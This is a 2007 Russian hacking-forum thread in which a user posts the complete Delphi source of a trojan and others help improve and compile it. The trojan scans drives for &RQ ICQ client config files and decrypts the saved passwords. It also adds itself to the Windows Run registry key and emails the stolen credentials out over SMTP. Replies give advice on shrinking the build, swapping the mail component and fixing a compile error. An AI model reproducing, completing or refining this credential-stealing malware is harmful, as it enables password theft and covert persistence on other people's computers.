ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Трой, который ворует пассы у крысы
  #1  
Старый 05.06.2007, 01:53
Аватар для S1nteZ
S1nteZ
Banned
Регистрация: 04.06.2007
Сообщений: 3
Провел на форуме:
8801

Репутация: -13
По умолчанию Трой, который ворует пассы у крысы

Сделал трой)))Декриптор взял из исходников крысы...
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdMessage, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP,Registry;

type
TForm1 = class(TForm)
IdSMTP1: TIdSMTP;
IdMessage1: TIdMessage;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
f:TextFile;
result,s,disk,mess:string;
i:integer;
dir:string;
implementation

{$R *.dfm}
// функция Декриптора взял из исходника &RQ
function passDecrypt(s:string):string;
var
i:integer;
begin
i:=length(s);
while i > 0 do
begin
if s[i] < #70 then
begin
result:=result+char((ord(s[i-1])-40) shl 4+ord(s[i-2])-40);
dec(i,2);
end;
dec(i);
end;

end;
//ищем наш файл
procedure Find;
var
SearchRec: TSearchRec;
begin
GetDir(0,dir);
If Dir[length(Dir)]<>'\' then Dir:=Dir+'\';
if FindFirst('andrq.ini ', faAnyFile,SearchRec) = 0 then
repeat
if (SearchRec.Attr and faAnyFile) = SearchRec.Attr then
begin
//открывам файл и росшифровуем его
i:=0;
AssignFile(f,Dir+SearchRec.Name);
Reset(f);
while not EoF(f) do
begin
i:=i+1;
If i=3 then
begin
Readln(f,s);
end;
end;
mess:=mess+';'+Dir+SearchRec.Name+';'+passDecrypt( s);
CloseFile(f);
end;
until FindNext(SearchRec) <> 0;
if FindFirst('*', faAnyFile, SearchRec) = 0 then
repeat
If (SearchRec.Attr and faDirectory) = faDirectory then
if SearchRec.Name[1] <> '.' then
begin
ChDir(SearchRec.Name);
Find;
ChDir('..');
end;
until FindNext(SearchRec) <> 0;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
reg:TRegistry;
begin
//выполняем процедуру поиска
dir:='D:\';
ChDir(dir);
Find;
dir:='C:\';
ChDir(dir);
Find;
// прописуемся в реестре
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Run',True);
reg.WriteString('sys',Application.ExeName);
reg.CloseKey;
reg.Free;
//отправляем пароли
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='ваше мыло';
IdSMTP1.Password:='пароль';
IdSMTP1.AuthenticationType:=atLogin;
with IdMessage1 do
begin
Body.Text:=mess;
From.Text := 'от кого';
Recipients.EMailAddresses := 'кому';
Subject := 'тема';
end;
IdSMTP1.Connect;
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
mess:='';

end;

end.
 
Ответить с цитированием

  #2  
Старый 05.06.2007, 03:05
Аватар для NetMan
NetMan
Участник форума
Регистрация: 09.02.2004
Сообщений: 122
Провел на форуме:
1089794

Репутация: 134
По умолчанию

Теперь переделай отправку, юзай Winsock! =)
 
Ответить с цитированием

  #3  
Старый 05.06.2007, 03:16
Аватар для KEZ
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

похоже как будто бы на делфи трой то сделан ...
 
Ответить с цитированием

  #4  
Старый 05.06.2007, 08:08
Аватар для flipper
flipper
Участник форума
Регистрация: 05.09.2006
Сообщений: 184
Провел на форуме:
888851

Репутация: 203
По умолчанию

/me OFFTOP вспомнил прикол c форума )))
{Известны 10 преимуществ Паскаля перед Си Я приведу только одно, но самое важное:
На Си Вы можете написать:
Код:
for(;P("\n").R-;P("\ "))for(e=3DC;e-;P("_ "+(*u++/8)%2))P("| "+ (*u/4)%2);
На Паскале Вы НЕ МОЖЕТЕ такого написать.}
 
Ответить с цитированием

  #5  
Старый 05.06.2007, 09:49
Аватар для xaldey
xaldey
Новичок
Регистрация: 07.11.2006
Сообщений: 20
Провел на форуме:
299123

Репутация: 3
По умолчанию

влом компилировать но по ходу размер то не детський
 
Ответить с цитированием

  #6  
Старый 05.06.2007, 09:54
Аватар для xaldey
xaldey
Новичок
Регистрация: 07.11.2006
Сообщений: 20
Провел на форуме:
299123

Репутация: 3
По умолчанию

http://forum.antichat.ru/threadnav33487-1-10.html
юзай KOL&MCK
 
Ответить с цитированием

  #7  
Старый 05.06.2007, 11:44
Аватар для wolfzbt
wolfzbt
Новичок
Регистрация: 03.06.2007
Сообщений: 8
Провел на форуме:
149019

Репутация: 0
По умолчанию

Цитата:
Сообщение от S1nteZ  

-----//----- весь код см. выше

procedure TForm1.FormCreate(Sender: TObject);
var
reg:TRegistry;
begin
//выполняем процедуру поиска
dir:='D:\';
ChDir(dir);
Find;
dir:='C:\';
ChDir(dir);
Find;
// прописуемся в реестре
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Run',True);
reg.WriteString('sys',Application.ExeName);
reg.CloseKey;
reg.Free;
//отправляем пароли
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='ваше мыло';
IdSMTP1.Password:='пароль';
IdSMTP1.AuthenticationType:=atLogin;
with IdMessage1 do
begin
Body.Text:=mess;
From.Text := 'от кого';
Recipients.EMailAddresses := 'кому';
Subject := 'тема';
end;
IdSMTP1.Connect;
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
mess:='';

end;

end.
о
помогите новичку, когда компилишь останавливается здесь"IdSMTP1.Host:='smtp.mail.ru';" и компилица не хочет

Последний раз редактировалось begin end; 05.06.2007 в 18:26.. Причина: оверквотинг
 
Ответить с цитированием

  #8  
Старый 05.06.2007, 17:03
Аватар для GlobaL
GlobaL
Участник форума
Регистрация: 21.02.2007
Сообщений: 186
Провел на форуме:
761935

Репутация: 154
Отправить сообщение для GlobaL с помощью ICQ
По умолчанию

вместо этого:
Код:
begin
Body.Text:=mess;
From.Text := 'от кого';
Recipients.EMailAddresses := 'кому';
Subject := 'тема';
end;
IdSMTP1.Connect;
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
mess:=''; 

end;
попробуй это:

Код:
begin 
  NMSMTP1.Host := 'smtp.mailserver.com'; 
  NMSMTP1.UserID := 'h.abdullah'; 
  NMSMTP1.Connect; 

  NMSMTP1.PostMessage.FromAddress := 'hasan@excite.com'; 
  NMSMTP1.PostMessage.ToAddress.Text := 'someone@xmail.com'; 
  NMSMTP1.PostMessage.Body.Text := 'Текст письма';
  NMSMTP1.PostMessage.Subject := 'Тема письма';
  NMSMTP1.SendMail; 
end;
я с дельфи недавно, могу ошибаться

Последний раз редактировалось GlobaL; 05.06.2007 в 17:11..
 
Ответить с цитированием

  #9  
Старый 05.06.2007, 17:04
Аватар для tip4il
tip4il
Познающий
Регистрация: 02.10.2006
Сообщений: 55
Провел на форуме:
2070341

Репутация: 28
Отправить сообщение для tip4il с помощью ICQ
По умолчанию

ты на форму компонент IdSMTP с вкладки Indy Clients разместил?
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ